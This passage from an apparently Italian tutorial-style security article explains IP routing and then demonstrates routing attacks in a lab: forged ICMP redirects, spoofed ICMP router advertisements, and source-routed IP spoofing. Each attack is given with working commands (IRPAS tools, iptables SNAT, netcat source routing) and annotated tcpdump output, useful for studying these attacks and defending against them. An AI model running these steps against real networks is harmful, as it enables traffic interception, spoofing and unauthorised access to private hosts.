| funzionamento riscontrabile nella stragrande maggioranza dei casi (es. |
| il proprio computer di casa di norma agisce come semplice host); |
| |
| - router: oltre ad agire come host ha la funzione di instradare i |
| pacchetti che provengono da host differenti dal proprio, garantendo |
| la consegna dei pacchetti tra reti differenti, questi dispositivi sono |
| generalmente dotati di due o più interfacce di rete e si affacciano in |
| tal modo su più di una rete contemporaneamente. |
| |
| Indipendentemente che si tratti di host o di router entrambe le macchine |
| possiedono una tabella di routing che è possibile consultare dall' |
| interprete dei comandi in questo modo: |
| |
| # netstat -rn |
| Kernel IP routing table |
| Destination Gateway Genmask Flags MSS Window irtt Iface |
| 192.168.1.0 0.0.0.0 255.255.255.0 U 40 0 0 eth0 |
| 127.0.0.0 0.0.0.0 255.0.0.0 U 40 0 0 lo |
| 0.0.0.0 192.168.1.1 0.0.0.0 UG 40 0 0 eth0 |
| |
| oppure... |
| |
| # route -n |
| Kernel IP routing table |
| Destination Gateway Genmask Flags Metric Ref Use Iface |
| 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 |
| 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo |
| 0.0.0.0 192.168.1.1 0.0.0.0 UG 1 0 0 eth0 |
| |
| o anche da MS-DOS... |
| |
| C:\>route print |
| |
| Route attive: |
| |
| Indirizzo rete Maschera Indirizzo gateway Interfac. Metric |
| 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.35 1 |
| 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 |
| 192.168.1.0 255.255.255.0 192.168.1.35 192.168.1.35 1 |
| 192.168.1.35 255.255.255.255 127.0.0.1 127.0.0.1 1 |
| 192.168.1.255 255.255.255.255 192.168.1.35 192.168.1.35 1 |
| 224.0.0.0 224.0.0.0 192.168.1.35 192.168.1.35 1 |
| 255.255.255.255 255.255.255.255 192.168.1.35 0.0.0.0 1 |
| |
| |
| Quando un host deve inviare un pacchetto la prima cosa che fa è |
| consultare la propria tabella di routing, tramite il processo di messa |
| in AND dell'IP di destinazione e la netmask determina se il destinatario |
| del pacchetto è un host locale (all'interno della stessa rete locale) o |
| un host remoto. |
| Nel primo caso l'host preso in esame genera un frame il cui header a |
| livello fisico contiene come MAC address di destinazione l'indirizzo |
| fisico della scheda dell'host destinatario del pacchetto (ricavato |
| mediante ARP request) e l'header IP (livello rete) contiene come IP di |
| destinazione l'IP address del sistema destinatario. |
| Il pacchetto attraverserà una porzione del mezzo fisico che connette i |
| due host e giungerà a destinazione senza bisogno di alcuna mediazione di |
| terze parti. |
| Le cose cambiano leggermente nel caso in cui la destinazione dovesse |
| rivelarsi un host remoto, l'host mittente provvederà a specificare all' |
| interno dell'header fisico un MAC address di destinazione relativo al |
| router indicato nella propria routing table o al router di default nel |
| caso in cui non compaia una route specifica per tale destinazione. |
| L'header IP si presenterà identico al caso precedente. |
| Il pacchetto giungerà in un primo momento al router il cui indirizzo |
| MAC figura come destinazione all'interno dell'header del livello fisico |
| del frame. L'interfaccia di rete del router esamina l'intestazione del |
| frame per vedere se l'indirizzo MAC di destinazione corrisponde al |
| proprio e in caso affermativo procede al demultiplexing(1) del frame che |
| continua ad essere processato al livello superiore dello stack TCP/IP. |
| |
| (1) demultiplexing: quando un frame giunge all'interfaccia di rete dell' |
| host di destinazione procede verso l'alto dello stack, per ogni |
| livello della pila che attraversa gli viene rimosso il relativo |
| header. Ogni protocollo prende visione di uno specifico campo del |
| proprio header per decidere chi debba ricevere il campo dati del |
| pacchetto a livello superiore. |
| |
| L'indirizzo IP di destinazione contenuto nell'header del pacchetto viene |
| confrontato con il proprio ma di fatto risultano differenti (l'IP di |
| destinazione del pacchetto non è il router bensì il sistema finale) così |
| il router provvede ad instradare il pacchetto avvalendosi delle |
| informazioni contenute nella propria routing table. |
| Se tutto va bene il pacchetto giungerà a destinazione sano e salvo dopo |
| aver attraversato un numero non ben precisato di hop(2). |
| |
| (2) hop: un hop è rappresentato da un router o da qualsiasi dispositivo |
| con funzionalità di routing in grado di provvedere all'instradamento |
| dei pacchetti. |
| |
| 2. IP Routing Attack |
| |
| Il routing dei pacchetti soffre di alcune debolezze che riguardano in |
| particolare le modalità con cui le tabelle di routing dei vari host |
| vengono inizializzate ed aggiornate. |
| Nel seguito dell'articolo analizzeremo le modalità con cui un utente |
| malizioso può interferire in tale processo al fine di compromettere la |
| confidenzialità e l'integrità dei dati trasmessi. |
| |
| 2.1 ICMP Redirect |
| |
| Un messaggio ICMP redirect viene inviato da un router all'host sorgente |
| quando un determinato pacchetto può giungere a destinazione attraverso |
| un percorso alternativo che presenta una metrica(3) migliore. |
| |
| (3) metrica: la metrica rappresenta il numero di hop necessari per |
| raggiungere una specifica destinazione, più piccolo è il suo valore |
| e migliore è il percorso. |
| |
| L'host sorgente che riceve il messaggio ICMP redirect PUO' aggiornare la |
| propria routing table in accordo alle informazioni in esso contenute. |
| Lo schema riportato in seguito è tratto dall'RFC 792 e illustra la |
| struttura di tale messaggio: |
| |
| Redirect Message |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Type | Code | Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Gateway Internet Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Internet Header + 64 bits of Original Data Datagram | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| L'header del pacchetto IP in cui il messaggio ICMP viene incapsulato |
| determina il mittente del messaggio (il router a cui l'host ha affidato |
| un proprio pacchetto), il campo "
Gateway Internet Address" rappresenta |
| il router alternativo consigliato per raggiungere una data destinazione, |
| tale destinazione può essere univocamente determinata in base alle |
| informazione contenute nel campo dati del pacchetto ICMP (l'header del |
| pacchetto che ha causato il redirect). |
| Alla luce di quanto detto un utente malizioso è in grado di modificare |
| l'instradamento del traffico di un host arbitrario forgiando un |
| messaggio ICMP di tipo 5 fasullo il cui indirizzo IP di provenienza sia |
| spoofato con quello del router correntemente utilizzato dalla vittima e |
| presentando il proprio host come router alternativo per una data |
| destinazione. |
| Operando in tal modo l'attacker potrà garantire al proprio host una |
| posizione privilegiata, anche detta man in the middle, dalla quale sarà |
| in grado di modificare il traffico che lo attraversa. |
| Le route inserite nelle tabella di routing dell'host vittima in seguito |
| ad un ICMP redirect sono temporanee e per tanto vanno rinfrescate ad |
| intervalli regolari con ulteriori redirect. |
| L'unica condizione necessaria alla riuscita di tale attacco è che |
| l'attacker deve essere in grado di sniffare i pacchetti provenienti |
| dalla vittima al fine di poter forgiare un pacchetto ICMP redirect |
| valido che contenga l'IP header e 64 bit di dati del pacchetto |
| originale. |
| |
| Alcuni sistemi accettano di default i messaggi ICMP redirect e risultano |
| di conseguenza vulnerabili a questo tipo di attacco. |
| In particolare Windows98 e diverse distribuzioni Linux accettano di |
| default i redirect (testata Slackware 8.0 risulta vulnerabile), sotto |
| Linux è possibile accedere ai settaggi che consentono di abilitare e |
| disabilitare i redirect tramite /proc filesystem: |
| |
| # cat /proc/sys/net/ipv4/conf/eth0/accept_redirects |
| 1 |
| |
| Segue un breve esempio di attacco che sfrutta gli ICMP redirect per |
| realizzare una condizione di man in the middle, il tool utilizzato nell' |
| esempio fa parte del pacchetto IRPAS dei Phenoelit. |
| Quella che segue è la descrizione di un ipotetico scenario d'attacco: |
| |
| Default Gateway -> IP 192.168.1.1 MAC rr:oo:uu:tt:ee:rr |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 192.168.1.6 MAC vv:ii:cc:tt:ii:mm |
| |
| L'attacker abilità l'IP forwarding sul proprio host al fine di |
| permettere al flusso di pacchetti rediretto di attraversare il proprio |
| host. |
| |
| # echo 1 > /proc/sys/net/ipv4/ip_forward |
| |
| Inibisce la generazione da parte dello stack TCP/IP di ICMP redirect |
| legittimi che potrebbero compromettere la riuscita dell'attacco. |
| |
| # iptables -A OUTPUT -s 192.168.1.4 -p icmp --icmp-type 5 -j DROP |
| |
| Il tool icmp_redirect ha lo scopo di sniffare i pacchetti generati dalla |
| vittima e forgiare un pacchetto ICMP redirect contenente l'IP header e |
| 64 bit di dati del pacchetto originale. |
| |
| # ./icmp_redirect -i eth0 -s 192.168.1.6/255.255.255.255 -G 192.168.1.4 |
| -S 192.168.1.1 |
| ICMP local redirector $Revision: 1.4 $ |
| (c) 2k++ FX <fx@phenoelit.de> |
| Phenoelit (http://www.phenoelit.de) |
| IRPAS build XXXIX |
| |
| In questo modo attendiamo il prossimo pacchetto proveniente dall'host |
| sorgente (-s) 192.168.1.6, e faremo in modo di proporci come miglior |
| gateway (-G) 192.168.1.4 preoccupandoci che la sorgente del pacchetto |
| sembri provenire dal default gateway (-S) 192.168.1.1 a cui il traffico |
| è destinato. |
| Qui di seguito riporto l'output commentato di tcpdump che illustra i |
| pacchetti generati dagli host interessati: |
| |
| # tcpdump -ne |
| tcpdump: listening on eth0 |
| ## pacchetto SYN inviato dalla vittima verso un host remoto, il MAC |
| ## address di destinazione corrisponde a quello del default gateway |
| 20:19:57.605301 vv:ii:cc:tt:ii:mm rr:oo:uu:tt:ee:rr 0800 74: |
| 192.168.1.6.1027 > 216.239.51.100.80: S 2243434109:2243434109(0) |
| win 16060 <mss 1460,sackOK,timestamp 19316[|tcp]> (DF) [tos 0x10] |
| |
| ## ICMP redirect message inviato da attacker ma spoofato con l'IP del |
| ## default gateway, si può notare che il source MAC address del frame |
| ## corrisponde all'indirizzo della scheda del sistema attacker |
| 20:19:57.605538 aa:tt:tt:aa:cc:kk vv:ii:cc:tt:ii:mm 0800 70: |
| 192.168.1.1 > 192.168.1.6: icmp:redirect 216.239.51.100 to net |
| 192.168.1.4 |
| |
| ## pacchetto SYN/ACK di risposta proveniente dall'host remoto |
| 20:19:57.798993 rr:oo:uu:tt:ee:rr vv:ii:cc:tt:ii:mm 0800 74: |
| 216.239.51.100.80 > 192.168.1.6.1027: S 97283257:97283257(0) |
| ack 2243434110 win 32120 <mss 1460,sackOK,timestamp 135811052[|tcp]> |
| (DF) [tos 0x38] |
| |
| ## pacchetto ACK inviato dalla vittima, ora il MAC address di |
| ## destinazione NON è più quello del default gateway ma bensì quello del |
| ## sistema controllato dall'attacker |
| 20:19:57.799099 vv:ii:cc:tt:ii:mm aa:tt:tt:aa:cc:kk 0800 66: |
| 192.168.1.6.1027 > 216.239.51.100.80: . ack 1 win 16060 |
| <nop,nop,timestamp 19336 135811052> (DF) [tos 0x10] |
| |
| ## l'attacker si prende cura di instradare il traffico al default |
| ## gateway che a sua volta lo inoltrerà verso la destinazione remota |
| 20:19:57.799208 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 66: |
| 192.168.1.6.1027 > 216.239.51.100.80: . ack 1 win 16060 |
| <nop,nop,timestamp 19336 135811052> (DF) [tos 0x10] |
| |
| 5 packets received by filter |
| 0 packets dropped by kernel |
| |
| |
| 2.2 ICMP Router Discovery |
| |
| I messaggi ICMP router discovery forniscono un metodo alternativo per |
| inizializzare le routing table di un host con gli indirizzi IP dei |
| router adiacenti ad esso, tale compito infatti è solitamente affidato a |
| dei file di configurazione statici richiamati a tempo di boot. |
| Tale protocollo si avvale di due diversi messaggi: |
| |
| - ICMP router advertisement message: viene inviato periodicamente da un |
| router all'indirizzo di broadcast o in risposta ad un ICMP router |
| solicitation, permettendo agli host circostanti di aggiornare la |
| propria routing table in accordo alle informazione in esso contenute. |
| Segue lo schema tratto dall'RFC 1256 che ne illustra il formato: |
| |
| ICMP Router Advertisement Message |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Type | Code | Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Num Addrs |Addr Entry Size| Lifetime | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Router Address[1] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Preference Level[1] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Router Address[2] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Preference Level[2] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | . | |
| | . | |
| | . | |
| |
| |
| - ICMP router solicitation message: viene inviato da un host all' |
| indirizzo di broadcast per sollecitare l'invio di un messaggio ICMP |
| router advertisement da parte dei router circostanti. |
| Segue lo schema tratto dall'RFC 1256 che ne illustra il formato: |
| |
| ICMP Router Solicitation Message |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Type | Code | Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Reserved | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| Un utente malizioso avvalendosi delle funzionalità offerte da tale |
| protocollo è in grado di compromettere la confidenzialità e l'integrità |
| dei dati potendo proporsi ad un host come default gateway. |
| Al fine di modificare a proprio vantaggio la tabella di routing di un |
| host remoto un utente malevolo potrebbe inviare un ICMP router |
| advertisement il cui campo Router Address del messaggio contenga il |
| proprio indirizzo IP e un livello di preferenza superiore alla route di |
| default settata staticamente sulla macchina della vittima. |
| |
| Segue un esempio di attacco che sfrutta gli ICMP router advertisement |
| per alterare la tabella di routing dell'host vittima, lo scenario si |
| presenta simile a quello illustrato nel precedente paragrafo: |
| |
| Default Gateway -> IP 192.168.1.1 MAC rr:oo:uu:tt:ee:rr |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 192.168.1.35 MAC vv:ii:cc:tt:ii:mm |
| |
| Questa volta il sistema vittima runna Windows98 che si è rivelato |
| vulnerabile a questo tipo di attacco, la tabella di routing di tale host |
| si presenta in origine in questo modo: |
| |
| C:

  
\>route print |
| |
| Route attive: |
| |
| Indirizzo rete Maschera Indirizzo gateway Interfac. Metric |
| 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.35 1 |
| 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 |
| 192.168.1.0 255.255.255.0 192.168.1.35 192.168.1.35 1 |
| 192.168.1.35 255.255.255.255 127.0.0.1 127.0.0.1 1 |
| 192.168.1.255 255.255.255.255 192.168.1.35 192.168.1.35 1 |
| 224.0.0.0 224.0.0.0 192.168.1.35 192.168.1.35 1 |
| 255.255.255.255 255.255.255.255 192.168.1.35 0.0.0.0 1 |
| |
| La route che a noi interessa è quella che fa riferimento al default |
| gateway (0.0.0.0), sarà proprio quella che cercheremo di scavalcare |
| proponendo al sistema della vittima una route con una metrica più |
| vantaggiosa: |
| |
| # ./irdp -i eth0 -D 192.168.1.35 -p 1000 |
| |
| In questo modo l'attacker forgia un ICMP router advertisement con il |
| quale si propone alla vittima (-D 192.168.1.35) come default gateway con |
| una preferenza superiore (-p 1000) alla route già presente nella routing |
| table. |
| |
| # tcpdump -ne |
| tcpdump: listening on eth0 |
| 15:01:15.870881 aa:tt:tt:aa:cc:kk vv:ii:cc:tt:ii:mm 0800 50: |
| 192.168.1.4 > 192.168.1.35: icmp: router advertisement lifetime 30:00 1: |
| {192.168.1.4 1000} |
| |
| 1 packets received by filter |
| 0 packets dropped by kernel |
| |
| La route proposta dall'attacker, avendo una metrica migliore, va così a |
| sostituire quella presente in origine dando vita ad una situazione di |
| man in the middle estremamente insidiosa: |
| |
| C:\>route print |
| |
| Route attive: |
| |
| Indirizzo rete Maschera Indirizzo gateway Interfac. Metric |
| 0.0.0.0 0.0.0.0 192.168.1.4 192.168.1.35 0 |
| 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.35 1 |
| 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 |
| 192.168.1.0 255.255.255.0 192.168.1.35 192.168.1.35 1 |
| 192.168.1.35 255.255.255.255 127.0.0.1 127.0.0.1 1 |
| 192.168.1.255 255.255.255.255 192.168.1.35 192.168.1.35 1 |
| 224.0.0.0 224.0.0.0 192.168.1.35 192.168.1.35 1 |
| 255.255.255.255 255.255.255.255 192.168.1.35 0.0.0.0 1 |
| |
| |
| 2.3 Source Ruoting |
| |
| Come abbiamo potuto vedere nella prima parte dell'articolo quando un |
| pacchetto IP lascia l'interfaccia del nostro host per raggiungere una |
| destinazione remota dovrà attraversare diversi hop prima di giungere al |
| sistema finale, le decisioni riguardanti il miglior percorso da far |
| intraprendere ad ogni pacchetto sono lasciate di norma ai router i quali |
| fanno le proprie scelte sulla base delle informazioni contenute nelle |
| proprie tabelle di routing. |
| Il source routing altro non è che un'opzione del protocollo IP che |
| fornisce la possibilità all'applicazione di decidere la rotta dei propri |
| pacchetti, a causa degli abusi e della dubbia utilità di questa opzione |
| la quasi totalità dei router scartano qualsiasi pacchetto che contenga |
| tale opzione scongiurando qualsiasi sorta di attacco. |
| Ad ogni modo ho scelto di trattare l'argomento giudicandolo ugualmente |
| interessante e di discutere le principali problematiche derivanti da un |
| suo uso scorretto. |
| |
| Il primo problema derivante dall'implementazione del source routing è |
| quello di fornire ad un utente malizioso i mezzi per condurre un attacco |
| IP spoofing NON blind, ma prima di avventurarci nella trattazione di |
| questo attacco è necessaria una breve descrizione di tale attacco nella |
| sua forma canonica: blind spoofing. |
| |
| Quando si parla di IP spoofing normalmente si fa riferimento al blind |
| spoofing ovvero un attacco che prevede la generazione da parte di un |
| host malevolo di pacchetti IP il cui header è stato forgiato in modo non |
| convenzionale e contiene all'interno del campo source address un |
| indirizzo IP fasullo che non coincide con l'IP del sistema che lo ha |
| generato. |
| Questa tecnica permette di inviare traffico verso un host spacciandosi |
| per qualcun altro (l'IP sorgente contenuto nell'header dei pacchetti) |
| con il solo inconveniente di perdere la bidirezionalità della |
| connessione, in quanto le risposte ai nostri pacchetti spoofati |
| giungeranno all'host che abbiamo impersonificato e non al nostro host |
| riducendo notevolmente le nostre possibilità di chiudere un TCP |
| handshake con un possibile target. |
| |
| Avvalendoci delle funzionalità offerte dall'opzione source routing del |
| protocollo IP abbiamo la possibilità di fornire noi stessi (sorgente dei |
| pacchetti) la rotta da noi desiderata aggirando così le limitazioni |
| insite in un attacco blind spoofing. |
| Un utente malizioso può in questo modo mandare pacchetti con IP spoofato |
| e l'opzione loose(4) source routing abilitata facendo comparire il |
| proprio host come hop obbligato per una data destinazione, l'host che |
| riceverà tali pacchetti risponderà all'host legittimo (quello per il |
| quale ci siamo spacciati) ma i pacchetti transiteranno ugualmente |
| attraverso l'host da cui proviene l'attacco fornendoci la possibilità di |
| prendere visione delle risponde che sopraggiungono. |
| |
| (4) loose source routing: esistono due forme leggermente differenti di |
| source routing, strict source routing permette di specificare |
| l'esatto percorso che il pacchetto dovrà seguire per giungere a |
| destinazione, loose source routing, invece, permette di porre dei |
| passaggi obbligati che i pacchetti devono attraversare prima di |
| giungere a destinazione. |
| |
| E' di fondamentale importanza specificare che il percorso source routed |
| influenza sia il tragitto che separa l'host mittente dal destinatario |
| che vice versa, se così non fosse il nostro attacco non avrebbe modo di |
| esistere. |
| |
| |
| BLIND SPOOFING |
| |
| ________ (1) SYN src=spoof dst=victim ________ |
| | |---------------------------------->| | |
| | ATTACK | (3) ACK src=spoof dst=victim | VICTIM | |
| |________|---------------------------------->|________| |
| ack=???? | |
| | |
| ________ | |
| | | (2) SYN/ACK src=victim dst=spoof | |
| | SPOOF |<---------------------------------------| |
| |________| ISN=xyz |
| |
| |
| |
| SOURCE ROUTED SPOOFING |
| |
| |
| ________ (1) SYN src=spoof dst=victim ________ |
| | |---------------------------------->| | |
| | ATTACK | (2) SYN/ACK src=victim dst=attack | VICTIM | |
| |________|<----------------------------------|________| |
| | | ISN=xyz ^ |
| | | | |
| | | | |
| | | (3) ACK src=spoof dst=victim | |
| D | |-------------------------------------------| |
| R | ack=xyz+1 |
| O . |
| P . (2) SYN/ACK src=victim dst=spoof |
| . ISN=xyz |
| . |
| . |
| __V_____ |
| | | |
| | SPOOF | |
| |________| |
| |
| |
| |
| Questa volta l'attacker cercherà di stabilire una sessione con il |
| sistema victim facendo sembrare che la connessione arrivi dal sistema |
| che per semplicità ho denominato spoofed: |
| |
| Router -> IP 192.168.1.3 MAC rr:oo:uu:tt:ee:rr |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Spoofed -> IP 192.168.1.5 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 192.168.1.6 MAC vv:ii:cc:tt:ii:mm |
| |
| Prima di tutto l'attacker deve preoccuparsi di abilitare l'IP forwarding |
| e il source routing sul proprio host: |
| |
| # echo 1 > /proc/sys/net/ipv4/ip_forward |
| # echo 1 > /proc/sys/net/ipv4/conf/all/accept_source_route |
| |
| Lo spoofing dei pacchetti IP è ottenuto settando un source NAT su tutto |
| il traffico in uscita dal proprio host, l'IP sorgente verrà convertito |
| in fase di postrouting in maniera del tutto trasparente all'applicazione |
| |
| # iptables -t nat -A POSTROUTING -s 192.168.1.4 -j SNAT |
| --to-source 192.168.1.5 |
| |
| Ora siamo pronti per lanciare il nostro attacco, useremo netcat per |
| generare del traffico source routed: |
| |
| # nc -g 192.168.1.3 -g 192.168.1.4 -G 4 192.168.1.6 21 |
| |
| Segue l'output commentato di tcpdump che illustra nel dettaglio le varie |
| fasi dell'handshake spoofato: |
| |
| # tcpdump -ne |
| tcpdump: listening on eth0 |
| ## il sistema attacker (192.168.1.4) manda un pacchetto SYN spoofato che |
| ## sembra aver origine dal sistema spoofed (192.168.1.5) |
| ## La destinazione di tale pacchetto è un generico router (192.168.1.3) |
| 17:26:27.011855 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 90: |
| 192.168.1.5.1029 > 192.168.1.3.21: [|tcp] (DF) |
| |
| ## il router riceve il pacchetto e dopo aver preso visione del campo |
| ## opzioni del pacchetto IP provvede ad instradarlo al prossimo hop |
| ## source routed che corrisponde proprio all'host dell'attacker |
| 17:26:27.012179 rr:oo:uu:tt:ee:rr aa:tt:tt:aa:cc:kk 0800 90: |
| 192.168.1.5.1029 > 192.168.1.4.21: [|tcp] (DF) |
| |
| ## l'host dell'attacker consegna il pacchetto SYN alla vittima |
| 17:26:27.012295 aa:tt:tt:aa:cc:kk vv:ii:cc:tt:ii:mm 0800 90: |
| 192.168.1.5.1029 > 192.168.1.6.21: [|tcp] (DF) |
| |
| ## la vittima ora cercherà di rispondere con un SYN/ACK all'host |
| ## che stiamo impersonificando, credendolo la sorgente del SYN che è |
| ## stato inviato in realtà da attacker. Il primo host ad essere |
| ## attraversato dalla risposta è proprio quello di attacker che compare |
| ## nella lista degli hop source routed |
| 17:26:27.012673 vv:ii:cc:tt:ii:mm aa:tt:tt:aa:cc:kk 0800 86: |
| 192.168.1.6.21 > 192.168.1.4.1029: S 882931410:882931410(0) |
| ack 3025356380 win 5792 <mss[|tcp]> (DF) |
| |
| ## l'attacco è RIUSCITO! Siamo in possesso delle risposte della vittima |
| ## compreso l'ISN che ci permetterà di chiudere l'handshake anche nei |
| ## confronti di host che facciano utilizzo di numeri sequenziali pseudo |
| ## random. |
| ## l'attacker droppa il pacchetto in postrouting in modo da impedire che |
| ## raggiunga l'host spoofed che genererebbe un RST vanificando ogni suo |
| ## sforzo |
| 17:26:27.012794 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 86: |
| 192.168.1.6.21 > 192.168.1.3.1029: S 882931410:882931410(0) |
| ack 3025356380 win 5792 <mss[|tcp]> (DF) |
| |
| 5 packets received by filter |
| 0 packets dropped by kernel |
| |
| Lo stesso attacco sarebbe possibile al di fuori della rete locale se il |
| sistema finale e i dispositivi che separano l'attacker dal sistema |
| destinazione avessero il source routing abilitato. |
| |
| Un discorso a parte merita la trattazione delle problematiche legate |
| alla raggiungibilità degli indirizzi locali riservati da parte di host |
| esterni che facciano uso dell'opzione source routing. |
| In particolare, la IANA ha riservato i seguenti blocchi di indirizzi al |
| fine di garantire uno spazio di indirizzamento assegnabile a qualsiasi |
| host prenda parte ad una rete locale privata che voglia garantire |
| l'accesso ad Internet ai propri utenti: |
| |
| 10.0.0.0 - 10.255.255.255 |
| 172.16.0.0 - 172.31.255.255 |
| 192.168.0.0 - 192.168.255.255 |
| |
| Questa convenzione garantisce l'accesso verso l'esterno e |
| l'impossibilità di accessi alla rete interna al tempo stesso, tali |
| indirizzi, infatti, non sono assegnati per un uso pubblico e risultano |
| di conseguenza non instradabili. |
| Tuttavia un router di confine per una rete privata che supporti il |
| source routing si può prestare a degli abusi e garantire accessi non |
| autorizzati agli utenti remoti. |
| Un attacker può utilizzare l'opzione loose source routing ed indicare |
| l'indirizzo dell'interfaccia pubblica del gateway della rete privata |
| come unico hop obbligato, la destinazione del pacchetto corrisponderà ad |
| un IP privato interno alla rete. |
| In questo modo il pacchetto lascerà la macchina attack con destinazione |
| router, sarà il router stesso, una volta ricevuto il pacchetto, ad |
| esaminare il campo opzioni dell'header IP e a sostituire l'indirizzo |
| destinazione con quello indicato dall'host sorgente. |
| |
| |
| victim1 |
| (2) src=attack dst=victim1 / |
| / |
| / |
| ________ ________ / |
| | | eth0| |eth1 / |
| | ATTACK |------------------------------>| ROUTER |_____/_____ victim2 |
| |________| (1) src=attack dst=router |________| \ |
| LSRR=victim1 \ |
| \ |
| \ |
| \ |
| \ victim3 |
| |
| |
| Vediamo come potrebbe svolgersi tale attacco simulando in locale un' |
| ipotetica situazione in cui un router di confine per una rete privata si |
| trovi nella condizione di supportare l'opzione source routing: |
| |
| Router -> eth0 192.168.1.6 MAC rr:oo:uu:tt:ee:rr |
| eth1 10.0.0.1 |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 10.0.0.2 MAC vv:ii:cc:tt:ii:mm |
| |
| |
| Specifichiamo nella lista degli host source routed l'indirizzo IP del |
| router di confine per la rete privata mentre come destinazione finale un |
| IP privato di cui sappiamo o possiamo ipotizzarne l'esistenza: |
| |
| # nc -g 192.168.1.6 -G 4 10.0.0.2 21 |
| |
| # tcpdump -ne port 21 |
| tcpdump: listening on eth0 |
| ## attacker manda un SYN che ha destinazione iniziale l'interfaccia |
| ## pubblica del router |
| 11:53:46.915604 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 86: |
| 192.168.1.4.1038 > 192.168.1.6.21: S 3270882735:3270882735(0) win 5840 |
| <mss[|tcp]> (DF) |
| |
| ## il router una volta ricevuto il pacchetto prende visione delle |
| ## opzioni contenuto nell'intestazione del pacchetto IP e provvede a |
| ## modificare la rotta del pacchetto verso l'host interno 10.0.0.2 |
| 11:53:46.915910 rr:oo:uu:tt:ee:rr vv:ii:cc:tt:ii:mm 0800 86: |
| 192.168.1.4.1038 > 10.0.0.2.21: S 3270882735:3270882735(0) win 5840 |
| <mss[|tcp]> (DF) |
| |
| ## l'host interno risponde con un SYN/ACK a tale richiesta e la consegna |
| ## provvisoriamente all'interfaccia interna del router che... |
| 11:53:46.916041 vv:ii:cc:tt:ii:mm rr:oo:uu:tt:ee:rr 0800 82: |
| 10.0.0.2.21 > 10.0.0.1.1038: S 3246963737:3246963737(0) ack 3270882736 |
| win 16060 <mss 1460,sackOK,[|tcp]> (DF) |
| |
| ## ...provvede ad instradarla verso l'attacker |
| 11:53:46.916144 rr:oo:uu:tt:ee:rr aa:tt:tt:aa:cc:kk 0800 82: |
| 10.0.0.2.21 > 192.168.1.4.1038: S 3246963737:3246963737(0) |
| ack 3270882736 win 16060 <mss 1460,sackOK,[|tcp]> (DF) |
| |
| ## l'attacker si appresta ad inviare l'ACK che permetterà di concludere |
| ## l'handshake e di poter iniziare la comunicazione vera e propria |
| 11:53:46.916295 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 78: |
| 192.168.1.4.1038 > 192.168.1.6.21: . ack 3246963738 win 5840 |
| <nop,nop,[|tcp]> (DF) |
| |
| ## il router recapita il pacchetto proveniente da attacker all'host che |
| ## si trova nella rete interna, la stato della sessione passa in |
| ## ESTABLISHED |
| 11:53:46.916563 rr:oo:uu:tt:ee:rr vv:ii:cc:tt:ii:mm 0800 78: |
| 192.168.1.4.1038 > 10.0.0.2.21: . ack 1 win 5840 <nop,nop,[|tcp]> (DF) |
| |
| 6 packets received by filter |
| 0 packets dropped by kernel |
| |
| |
| 2.4 DHCP Spoofing |
| |
